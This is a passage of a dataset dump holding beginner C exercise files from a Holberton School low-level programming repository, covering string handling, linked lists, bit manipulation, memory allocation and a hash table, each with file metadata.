< 0))\n\t\treturn;\n\tfor (h = 0; h < n; h++)\n\t{\n\t\tfor (l = 0; l < n; l++)\n\t\t{\n\t\t\tmulti = (l * h);\n\t\t\tif (multi >= 10)\n\t\t\t{\n\t\t\t\tSEPERATE;\n\t\t\t\tif (multi >= 100)\n\t\t\t\t{\n\t\t\t\t\t_putchar((multi / 100) + '0');\n\t\t\t\t\t_putchar(((multi % 100) / 10) + '0');\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t_putchar(' ');\n\t\t\t\t\t_putchar((multi / 10) + '0');\n\t\t\t\t}\n\t\t\t\t_putchar((multi % 10) + '0');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (l != 0)\n\t\t\t\t{\n\t\t\t\t\tSEPERATE;\n\t\t\t\t\t_putchar(' ');\n\t\t\t\t\t_putchar(' ');\n\t\t\t\t}\n\t\t\t\t_putchar(multi + '0');\n\t\t\t}\n\t\t}\n\t\t_putchar('\\n');\n\t}\n}\n" }, { "alpha_fraction": 0.5206185579299927, "alphanum_fraction": 0.5326460599899292, "avg_line_length": 13.923076629638672, "blob_id": "e7be35ef835bcbfa388dd9def501b7362ce307c1", "content_id": "bb674ba2ab09df20430de7294f9eea26fc89ee56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 582, "license_type": "no_license", "max_line_length": 61, "num_lines": 39, "path": "/0x18-dynamic_libraries/testfiles/5-strstr.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strstr - finds needle in haystack\n * @haystack: source string\n * @needle: substring to find\n * Return: pointer to beginning of located substring, or null\n */\nchar *_strstr(char *haystack, char *needle)\n{\n\tint i = 0, len = 0, j = 0;\n\n\twhile (needle[len])\n\t\tlen++;\n\twhile (*haystack)\n\t{\n\t\ti = 0;\n\t\tif (*haystack == needle[0])\n\t\t{\n\t\t\tj = 0;\n\t\t\twhile (needle[i])\n\t\t\t{\n\t\t\t\tif (needle[j] == *(haystack + j))\n\t\t\t\t{\n\t\t\t\t\tj++;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (j >= len)\n\t\t{\n\t\t\treturn (haystack);\n\t\t}\n\t\thaystack++;\n\t}\n\treturn ('\\0');\n}\n" }, { "alpha_fraction": 0.5862069129943848, "alphanum_fraction": 0.6021220088005066, "avg_line_length": 16.136363983154297, "blob_id": "9a4b5ffe710e937af658a0e4b7edc40729b443c2", "content_id": "bcbfe99616dc442702f83cee17349037ec73e248", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 377, "license_type": "no_license", "max_line_length": 73, "num_lines": 22, "path": "/0x14-bit_manipulation/5-flip_bits.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * flip_bits - finds the number of bits needed to flip to get from n to m\n * @n: number 1\n * @m: number 2\n *\n * Return: Number of bits needed to flip\n */\nunsigned int flip_bits(unsigned long int n, unsigned long int m)\n{\n\tunsigned long int tmp = n ^ m;\n\tunsigned int t = 0;\n\n\twhile (tmp > 0)\n\t{\n\t\tif (tmp & 1)\n\t\t\tt++;\n\t\ttmp >>= 1;\n\t}\n\treturn (t);\n}\n" }, { "alpha_fraction": 0.6380952596664429, "alphanum_fraction": 0.6507936716079712, "avg_line_length": 15.578947067260742, "blob_id": "b394aa87d0384c535d37e8c01fde712bfcfc2fba", "content_id": "c69ab9a08148adfdfc291e9365f6a8b151e222da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 315, "license_type": "no_license", "max_line_length": 67, "num_lines": 19, "path": "/0x0C-more_malloc_free/0-malloc_checked.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\n/**\n * malloc_checked - allocates memory, on failure exits with code 98\n * @b: size of area to malloc\n * Return: Pointer to malloced memory\n */\nvoid *malloc_checked(unsigned int b)\n{\n\tvoid *mall;\n\n\tmall = malloc(b);\n\tif (mall == NULL)\n\t{\n\t\texit(98);\n\t}\n\treturn (mall);\n}\n" }, { "alpha_fraction": 0.31870967149734497, "alphanum_fraction": 0.40129032731056213, "avg_line_length": 15.145833015441895, "blob_id": "1ab825587c4faf52ef37e184a6d53049f1ad7ae3", "content_id": "c8ba5c2f1a3fddbc440bedb8d1e7552decd475bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 775, "license_type": "no_license", "max_line_length": 67, "num_lines": 48, "path": "/0x01-variables_if_else_while/102-print_comb5.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints all possible combinations of two two-digit numbers\n *\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint n1 = 0;\n\tint n2 = 0;\n\tint m1 = 0;\n\tint m2 = 0;\n\tint minnum = 0;\n\n\tfor (n1 = 0; n1 < 10; n1++)\n\t{\n\t\tfor (n2 = 0; n2 < 10; n2++)\n\t\t{\n\t\t\tfor (m1 = n1; m1 < 10; m1++)\n\t\t\t{\n\t\t\t\tif (m1 <= n1)\n\t\t\t\t\tminnum = n2;\n\t\t\t\telse\n\t\t\t\t\tminnum = 0;\n\t\t\t\tfor (m2 = minnum; m2 < 10; m2++)\n\t\t\t\t{\n\t\t\t\t\tif ((n1 < m1) || ((n2 < m2) &&\n\t\t\t\t\t\t\t (n1 == m1)))\n\t\t\t\t\t{\n\t\t\t\t\t\tputchar((n1 % 10) + '0');\n\t\t\t\t\t\tputchar((n2 % 10) + '0');\n\t\t\t\t\t\tputchar(' ');\n\t\t\t\t\t\tputchar((m1 % 10) + '0');\n\t\t\t\t\t\tputchar((m2 % 10) + '0');\n\t\t\t\t\tif ((n1 != 9) || (n2 != 8))\n\t\t\t\t\t{\n\t\t\t\t\t\tputchar(',');\n\t\t\t\t\t\tputchar(' ');\n\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.6414342522621155, "alphanum_fraction": 0.6434262990951538, "avg_line_length": 19.079999923706055, "blob_id": "428b78be92731d36079ca1dc85c811116e70bab1", "content_id": "1980e8c004fc6ac3efd1ecb4238d73d7d102ef75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 502, "license_type": "no_license", "max_line_length": 58, "num_lines": 25, "path": "/0x1A-hash_tables/0-hash_table_create.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"hash_tables.h\"\n#include <stdio.h>\n\n/**\n * hash_table_create - creates an empty hash table of size\n * @size: size of the hash table to create\n *\n * Return: A pointer to the created hash table\n */\n\nhash_table_t *hash_table_create(unsigned long int size)\n{\n\thash_table_t *res = calloc(1, sizeof(hash_table_t));\n\n\tif (res == NULL)\n\t\treturn (NULL);\n\tres->array = calloc(size, sizeof(hash_node_t *));\n\tif (res->array == NULL)\n\t{\n\t\tfree(res);\n\t\treturn (NULL);\n\t}\n\tres->size = size;\n\treturn (res);\n}\n" }, { "alpha_fraction": 0.4752623736858368, "alphanum_fraction": 0.5052473545074463, "avg_line_length": 16.102563858032227, "blob_id": "09f4062a5115a3f377845ff94ac4adae06d1306f", "content_id": "e647e8d80c9f71ec8873d70218bd3a700bb07898", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 667, "license_type": "no_license", "max_line_length": 56, "num_lines": 39, "path": "/0x0F-function_pointers/100-main_opcodes.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n\n/**\n * main - prints the operation codes of its own function\n * @argc: argument count\n * @argv: argument vector\n *\n * Return: Always 0 (ok)\n */\nint main(int argc, char *argv[])\n{\n\tint bytes;\n\tlong i = 0;\n\tunsigned int j = 256;\n\n\tif (argc != 2)\n\t{\n\t\tprintf(\"Error\\n\");\n\t\texit(1);\n\t}\n\tif (atoi(argv[1]) < 0)\n\t{\n\t\tprintf(\"Error\\n\");\n\t\texit(2);\n\t}\n\tbytes = atoi(argv[1]);\n\n\tfor (i = 0; i < bytes - 1; i++)\n\t{\n\t\tif (*((char *)(&main + i)) % j < 16)\n\t\t\tputchar('0');\n\t\tprintf(\"%x \", *((char *)(&main + i)) % j);\n\t}\n\tif (*((char *)(&main + (i))) % j < 16)\n\t\tputchar('0');\n\tprintf(\"%x\\n\", *((char *)(&main + (i))) % j);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5848484635353088, "alphanum_fraction": 0.5878787636756897, "avg_line_length": 14.714285850524902, "blob_id": "ad874f07ef42ad25628791f8380421fcf14e284d", "content_id": "404030868cfc3ba200a367a651bf7d51de3afee7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 330, "license_type": "no_license", "max_line_length": 55, "num_lines": 21, "path": "/0x13-more_singly_linked_lists/6-pop_listint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * pop_listint - deletes head node and returns its data\n * @head: list to pop\n *\n * Return: Contents of popped node\n */\nint pop_listint(listint_t **head)\n{\n\tint n;\n\tlistint_t *tmp = *head;\n\n\tif (*head == NULL)\n\t\treturn (0);\n\tn = (*head)->n;\n\ttmp = (*head)->next;\n\tfree(*head);\n\t*head = tmp;\n\treturn (n);\n}\n" }, { "alpha_fraction": 0.40992647409439087, "alphanum_fraction": 0.4466911852359772, "avg_line_length": 13.315789222717285, "blob_id": "c0fd271e0c63dd84beba55e86cae6db071a32906", "content_id": "fc51e3f421a5c3afea75e1fc69ca64163f241e5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 544, "license_type": "no_license", "max_line_length": 53, "num_lines": 38, "path": "/0x02-functions_nested_loops/9-times_table.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#define SEPERATE {\\\n\t_putchar(',');\\\n\t_putchar(' ');\\\n\t}\n/**\n * times_table - prints the multiplication table of 9\n *\n * Return: none\n */\nvoid times_table(void)\n{\n\tint l = 0, h = 0, multi = 0;\n\n\tfor (h = 0; h < 10; h++)\n\t{\n\t\tfor (l = 0; l < 10; l++)\n\t\t{\n\t\t\tmulti = (l * h);\n\t\t\tif (multi >= 10)\n\t\t\t{\n\t\t\t\tSEPERATE;\n\t\t\t\t_putchar((multi / 10) + '0');\n\t\t\t\t_putchar((multi % 10) + '0');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (l != 0)\n\t\t\t\t{\n\t\t\t\t\tSEPERATE;\n\t\t\t\t\t_putchar(' ');\n\t\t\t\t}\n\t\t\t\t_putchar(multi + '0');\n\t\t\t}\n\t\t}\n\t\t_putchar('\\n');\n\t}\n}\n" }, { "alpha_fraction": 0.5921409130096436, "alphanum_fraction": 0.5921409130096436, "avg_line_length": 18.421052932739258, "blob_id": "b37b0c003fe7126b75e30ec8fba9795fb92954de", "content_id": "68691c5a5b467385eceb4f678bf47d234abb6708", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 738, "license_type": "no_license", "max_line_length": 71, "num_lines": 38, "path": "/0x17-doubly_linked_lists/2-add_dnodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * add_dnodeint - adds a new node at the beginning of a dlistint_t list\n * @head: Head of the dlistint_t list\n * @n: Contents of the node to be added\n *\n * Return: the address of the new element, or NULL if it failed\n */\ndlistint_t *add_dnodeint(dlistint_t **head, const int n)\n{\n\tdlistint_t *new = malloc(sizeof(dlistint_t));\n\n\tif (!new)\n\t\treturn (NULL);\n\tnew->n = n;\n\tnew->prev = NULL;\n\tif (!head)\n\t{\n\t\tfree(new);\n\t\treturn (NULL);\n\t}\n\tif (!*head)/*Null check*/\n\t{\n\t\tnew->next = NULL;\n\t\t*head = new;\n\t\treturn (new);\n\t}\n\tif (!((*head)->prev))/*make sure we're actually at the head*/\n\t{\n\t\tfor (; (*head)->prev; *head = (*head)->prev)\n\t\t\t;\n\t}\n\tnew->next = *head;\n\t(*head)->prev = new;\n\t*head = new;\n\treturn (new);\n}\n" }, { "alpha_fraction": 0.6423357725143433, "alphanum_fraction": 0.6532846689224243, "avg_line_length": 21.83333396911621, "blob_id": "1413facdc738990a418f78e4558d5e9d67f14ada", "content_id": "4180ae3a6a0a2e269e2d547b546dc1d5fef776cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 274, "license_type": "no_license", "max_line_length": 73, "num_lines": 12, "path": "/0x00-hello_world/5-printf.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Uses printf to print the next section (see 4-puts.c) of a quote\n * from Dora Korpar, this time using only printf.\n * Return: 0 always (ok)\n */\nint main(void)\n{\n\tprintf(\"with proper grammar, but the outcome is a piece of art,\\n\");\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5822784900665283, "alphanum_fraction": 0.594936728477478, "avg_line_length": 18.75, "blob_id": "0c62a17ac6ec14d81e70874caa4ffb72ce02cedc", "content_id": "8fdb20943c37c713091d985723a52b240ab157e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 79, "license_type": "no_license", "max_line_length": 35, "num_lines": 4, "path": "/0x0D-preprocessor/3-function_like_macro.h", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#ifndef ABS_MACRO\n#define ABS_MACRO\n#define ABS(x) (x < 0 ? -(x) : (x))\n#endif\n" }, { "alpha_fraction": 0.5849056839942932, "alphanum_fraction": 0.5880503058433533, "avg_line_length": 15.736842155456543, "blob_id": "31fccac9186efa26230dc0af416e2b3b211b709f", "content_id": "29c10778742e84119fea1820824710e189e4f57b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 318, "license_type": "no_license", "max_line_length": 48, "num_lines": 19, "path": "/0x18-dynamic_libraries/testfiles/0-memset.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _memset - fills first n bytes with constant b\n * @s: location to fill\n * @b: what to fill location with\n * @n: number of bytes to fill\n * Return: pointer to s\n */\nchar *_memset(char *s, char b, unsigned int n)\n{\n\tunsigned int i = 0;\n\n\tfor (; i < n; i++)\n\t{\n\t\ts[i] = b;\n\t}\n\treturn (s);\n}\n" }, { "alpha_fraction": 0.6192893385887146, "alphanum_fraction": 0.6192893385887146, "avg_line_length": 15.416666984558105, "blob_id": "73de78c6055872c05c4676592a42dba6da0f97a3", "content_id": "3d1ac716437e0e9dfddc8e8a13ffa5a5687aa017", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 197, "license_type": "no_license", "max_line_length": 38, "num_lines": 12, "path": "/0x02-functions_nested_loops/10-add.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * add - add two integers\n * @a: First integer to add\n * @b: second integer to add\n * Return: Value of two integers added\n */\nint add(int a, int b)\n{\n\treturn (a + b);\n}\n" }, { "alpha_fraction": 0.6509090662002563, "alphanum_fraction": 0.6509090662002563, "avg_line_length": 18.64285659790039, "blob_id": "1bcd6826ef6cf40cb8d6298d71a5e0071285d3c3", "content_id": "dce232f880976373becfca7f4840f967b20a2a42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 275, "license_type": "no_license", "max_line_length": 54, "num_lines": 14, "path": "/0x12-singly_linked_lists/100-first.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * startup_c - Prints a string before main is executed\n *\n * Return: void\n */\nvoid startup_c(void) __attribute__((constructor));\n\nvoid startup_c(void)\n{\n\tprintf(\"You're beat! and yet, you must allow,\\n\");\n\tprintf(\"I bore my house upon my back!\\n\");\n}\n" }, { "alpha_fraction": 0.5314465165138245, "alphanum_fraction": 0.5471698045730591, "avg_line_length": 14.899999618530273, "blob_id": "8ef39a438e12cc3646d8a2bd239d096bffcddf26", "content_id": "66be05a75c94f9a497925b7cc9362c2a4d860167", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 318, "license_type": "no_license", "max_line_length": 49, "num_lines": 20, "path": "/0x05-pointers_arrays_strings/7-puts_half.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * puts_half - prints the second half of a string\n *@str: string provided by user\n * Return: void\n */\nvoid puts_half(char *str)\n{\n\tint i = 0, half;\n\n\twhile (str[i] != '\\0')\n\t\ti++;\n\thalf = i / 2;\n\tif (i % 2 != 0)\n\t\thalf++;\n\tfor (; half < i; half++)\n\t\t_putchar(str[half]);\n\t_putchar('\\n');\n}\n" }, { "alpha_fraction": 0.5873016119003296, "alphanum_fraction": 0.5925925970077515, "avg_line_length": 15.434782981872559, "blob_id": "af43fb8387ceb9fa731daee76c0d1cf016d2133b", "content_id": "5e6b6549a3c1df87d0aacb7533b2a0fa77541363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 378, "license_type": "no_license", "max_line_length": 49, "num_lines": 23, "path": "/0x10-variadic_functions/0-sum_them_all.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"variadic_functions.h\"\n#include <stdarg.h>\n\n/**\n * sum_them_all - Finds the sum of all input ints\n * @n: Number of variable inputs\n *\n * Return: Sum of inputs\n */\nint sum_them_all(const unsigned int n, ...)\n{\n\tint b = 0;\n\tunsigned int i;\n\tva_list a_list;\n\n\tva_start(a_list, n);\n\tfor (i = 0; i < n; i++)\n\t{\n\t\tb += va_arg(a_list, int);\n\t}\n\tva_end(a_list);\n\treturn (b);\n}\n" }, { "alpha_fraction": 0.5380530953407288, "alphanum_fraction": 0.5415928959846497, "avg_line_length": 16.121212005615234, "blob_id": "3c7dfe1b5b3fb7433b382a603a50491d858a51fa", "content_id": "c2314eb3c2dc1b213e258ba37832a12e3ff49d6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 565, "license_type": "no_license", "max_line_length": 65, "num_lines": 33, "path": "/0x13-more_singly_linked_lists/101-print_listint_safe.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n#include <stdio.h>\n\n/**\n * print_listint_safe - prints a listint_t list, even if it loops\n * @head: list to print\n *\n * Return: Number of nodes\n */\nsize_t print_listint_safe(const listint_t *head)\n{\n\tconst listint_t *curr, *check;\n\tsize_t i = 0, j;\n\n\tcurr = head;\n\twhile (curr)\n\t{\n\t\tcheck = head;\n\t\tfor (j = 0; j < i; j++)\n\t\t{\n\t\t\tif (check <= curr)\n\t\t\t{\n\t\t\t\tprintf(\"-> [%p] %d\\n\", (void *)curr, curr->n);\n\t\t\t\treturn (i);\n\t\t\t}\n\t\t\tcheck = check->next;\n\t\t}\n\t\tprintf(\"[%p] %d\\n\", (void *)curr, curr->n);\n\t\tcurr = curr->next;\n\t\ti++;\n\t}\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.45500001311302185, "alphanum_fraction": 0.5024999976158142, "avg_line_length": 15.666666984558105, "blob_id": "40bad747c9e4e332d9ea94579b91aca73d7f3ba8", "content_id": "0a599bba35fe056cd647019e1368fc04b9e28226", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 400, "license_type": "no_license", "max_line_length": 44, "num_lines": 24, "path": "/0x02-functions_nested_loops/8-24_hours.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * jack_bauer - prints every minute of a day\n *\n * Return: none\n */\nvoid jack_bauer(void)\n{\n\tint hours, mins = 0;\n\n\tfor (hours = 0; hours < 24; hours++)\n\t{\n\t\tfor (mins = 0; mins < 60; mins++)\n\t\t{\n\t\t\t_putchar((hours / 10) + '0');\n\t\t\t_putchar((hours % 10) + '0');\n\t\t\t_putchar(':');\n\t\t\t_putchar((mins / 10) + '0');\n\t\t\t_putchar((mins % 10) + '0');\n\t\t\t_putchar('\\n');\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.4683907926082611, "alphanum_fraction": 0.5028735399246216, "avg_line_length": 11.428571701049805, "blob_id": "9085d3a5e80a093b3ef4abcd1b7ab2fe79bfbf6d", "content_id": "47ba5cb7af41c13136902c63aff2bdded088a855", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 348, "license_type": "no_license", "max_line_length": 49, "num_lines": 28, "path": "/0x01-variables_if_else_while/8-print_base16.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints all base 16 numbers in lowercase\n * followed by a newline\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint num = 0;\n\tint ch = 'a';\n\n\tdo {\n\t\tif (num < 10)\n\t\t{\n\t\t\tputchar((num % 10) + '0');\n\t\t\tnum++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tputchar(ch);\n\t\t\tch++;\n\t\t\tnum++;\n\t\t}\n\t} while (num < 16);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.6012269854545593, "alphanum_fraction": 0.6165643930435181, "avg_line_length": 17.11111068725586, "blob_id": "c04cdf8036fb8b82d4bbb47f6e94b1550084068a", "content_id": "6de3ec24a65acb7fefb2acbe5b0f52471ca0edca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 326, "license_type": "no_license", "max_line_length": 54, "num_lines": 18, "path": "/0x14-bit_manipulation/2-get_bit.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * get_bit - gets the bit at index index\n * @n: num to check\n * @index: bit to get\n *\n * Return: Value of the bit at index, or -1 on failure\n */\nint get_bit(unsigned long int n, unsigned int index)\n{\n\tunsigned long int mask = 1;\n\n\tif (index > 31)\n\t\treturn (-1);\n\tn >>= index;\n\treturn (n & mask);\n}\n" }, { "alpha_fraction": 0.45014244318008423, "alphanum_fraction": 0.46581196784973145, "avg_line_length": 14.260869979858398, "blob_id": "a2e0c20f7b3009458246670c76e5ced060b78b73", "content_id": "c9c765f841372373ecba39d050a96156b59ee1fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 702, "license_type": "no_license", "max_line_length": 47, "num_lines": 46, "path": "/0x0B-malloc_free/5-argstostr.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\n\n/**\n * argstostr - concatenates all arguments in av\n * @ac: Size of av\n * @av: Argument vector\n *\n * Return: Pointer to malloced result\n */\nchar *argstostr(int ac, char **av)\n{\n\tchar *cat;\n\tint i, j, k, n, m = 0, len;\n\n\tif (ac == 0 || av == NULL)\n\t\treturn (NULL);\n\tfor (i = 0; i < ac; i++)\n\t{\n\t\tfor (j = 0; av[i][j]; j++)\n\t\t\t;\n\t\tn += j + 1;\n\t}\n\tcat = malloc((n) * sizeof(char) + 1);\n\tif (cat == NULL)\n\t{\n\t\tfree(cat);\n\t\treturn (NULL);\n\t}\n\tfor (i = 0; i < ac; i++)\n\t{\n\t\tfor (len = 0; av[i][len]; len++)\n\t\t\t;\n\t\tfor (j = 0; av[i][j]; j++)\n\t\t{\n\t\t\tk = j + m;\n\t\t\tcat[k] = av[i][j];\n\t\t}\n\t\tm += len;\n\t\tm++;\n\t\tcat[++k] = '\\n';\n\t}\n\tcat[k + 1] = '\\0';\n\treturn (cat);\n}\n" }, { "alpha_fraction": 0.45132172107696533, "alphanum_fraction": 0.4667956233024597, "avg_line_length": 14.510000228881836, "blob_id": "51184495b5fe4a6039a176d43bd1f58d30abf8ec", "content_id": "d2835338fa4f46e763383b25ee2c1658234ac9ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1551, "license_type": "no_license", "max_line_length": 58, "num_lines": 100, "path": "/0x0B-malloc_free/100-strtow.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\nint word_count(char *str);\n/**\n * strtow - makes an array of strings seperated into words\n * @str: string to seperate\n *\n * Return: Null if failed, pointer to the array otherwise\n */\nchar **strtow(char *str)\n{\n\tchar **word;\n\tint i, blank, len, j = 0, flag = 0, k = 0;\n\n\tif (str == NULL || *str == '\\0')\n\t\treturn (NULL);\n\tblank = word_count(str);\n\tif (blank == 0)\n\t\treturn (NULL);\n\tblank++;\n\tword = malloc(blank * sizeof(char *));\n\tif (word == 0)\n\t{\n\t\tfree(word);\n\t\treturn (NULL);\n\t}\n\tfor (i = 0, len = 0; str[len]; len++)\n\t{\n\t\tif (str[len] == ' ')\n\t\t\tcontinue;\n\t\telse\n\t\t{\n\t\t\tfor (k = 0; str[len] != ' ' && str[len]; len++, k++)\n\t\t\t{\n\t\t\t\t;\n\t\t\t}\n\t\t\tword[i] = malloc(sizeof(char) * (k + 1));\n\t\t\tif (word[i] == NULL)\n\t\t\t{\n\t\t\t\tfor (len = 0; len <= i; len++)\n\t\t\t\t\tfree(word[len]);\n\t\t\t\tfree(word);\n\t\t\t\treturn (NULL);\n\t\t\t}\n\t\t\ti++;\n\t\t\tif (str[len] == '\\0')\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tflag = 0;\n\tfor (i = 0, j = 0, len = 0; str[len]; len++)\n\t{\n\t\tif (str[len] == ' ')\n\t\t{\n\t\t\tif (str[len + 1] == ' ')\n\t\t\t\t;\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (flag == 1)\n\t\t\t\t{\n\t\t\t\t\tword[i][j] = '\\0';\n\t\t\t\t\ti++;\n\t\t\t\t\tj = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tword[i][j] = str[len];\n\t\tflag = 1;\n\t\tj++;\n\t}\n\tword[i + 1] = NULL;\n\treturn (word);\n}\n\n/**\n * word_count - counts the number of words in a string\n * @str: input string\n * Return: number of words\n */\nint word_count(char *str)\n{\n\tint i, num = 0;\n\n\tfor (i = 0; str[i]; i++)\n\t{\n\t\tif (*str == ' ')\n\t\t\tstr++;\n\t\telse\n\t\t{\n\t\t\tfor (; str[i] != ' ' && str[i]; i++)\n\t\t\t{\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tnum++;\n\t\t}\n\t}\n\treturn (num);\n}\n" }, { "alpha_fraction": 0.5475113391876221, "alphanum_fraction": 0.5565611124038696, "avg_line_length": 14.241379737854004, "blob_id": "e53be5a543f63d9420c2eb48ee11e1a597037a35", "content_id": "2110f63559b7a99d50921bc40cb008cb75246ec8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 442, "license_type": "no_license", "max_line_length": 48, "num_lines": 29, "path": "/0x0B-malloc_free/1-strdup.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\n/**\n * _strdup - duplicates a string\n * @str: string to duplicate\n *\n * Return: Null, or pointer to duplicated string\n */\nchar *_strdup(char *str)\n{\n\tchar *dupe;\n\tint i;\n\n\tif (str == NULL)\n\t\treturn (NULL);\n\tfor (i = 0; str[i]; i++)\n\t\t;\n\tdupe = malloc(sizeof(char) * i + 1);\n\tif (dupe == NULL)\n\t\treturn (NULL);\n\n\tfor (i = 0; str[i]; i++)\n\t{\n\t\tdupe[i] = str[i];\n\t}\n\tdupe[i] = '\\0';\n\treturn (dupe);\n}\n" }, { "alpha_fraction": 0.409326434135437, "alphanum_fraction": 0.44041451811790466, "avg_line_length": 12.310344696044922, "blob_id": "dd13b3cf868e67d84b228994415ab546f9930fe8", "content_id": "00c7964903d092a3c8d4d8a5deacfa9d30c90159", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 386, "license_type": "no_license", "max_line_length": 36, "num_lines": 29, "path": "/0x05-pointers_arrays_strings/5-rev_string.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <string.h>\n\n/**\n * rev_string - reverses a string\n *@s: string sent by user\n * Return: void\n */\nvoid rev_string(char *s)\n{\n\tint i = 0, j = 0, k;\n\tchar arr[2048];\n\n\twhile (s[i] != '\\0')\n\t\ti++;\n\tk = i;\n\twhile ((i != 0) && (s[j] != '\\0'))\n\t{\n\t\tarr[i - 1] = s[j];\n\t\tj++;\n\t\ti--;\n\t}\n\ti = 0;\n\twhile ((arr[i] != '\\0') && (i < k))\n\t{\n\t\ts[i] = arr[i];\n\t\ti++;\n\t}\n}\n" }, { "alpha_fraction": 0.8600000143051147, "alphanum_fraction": 0.8600000143051147, 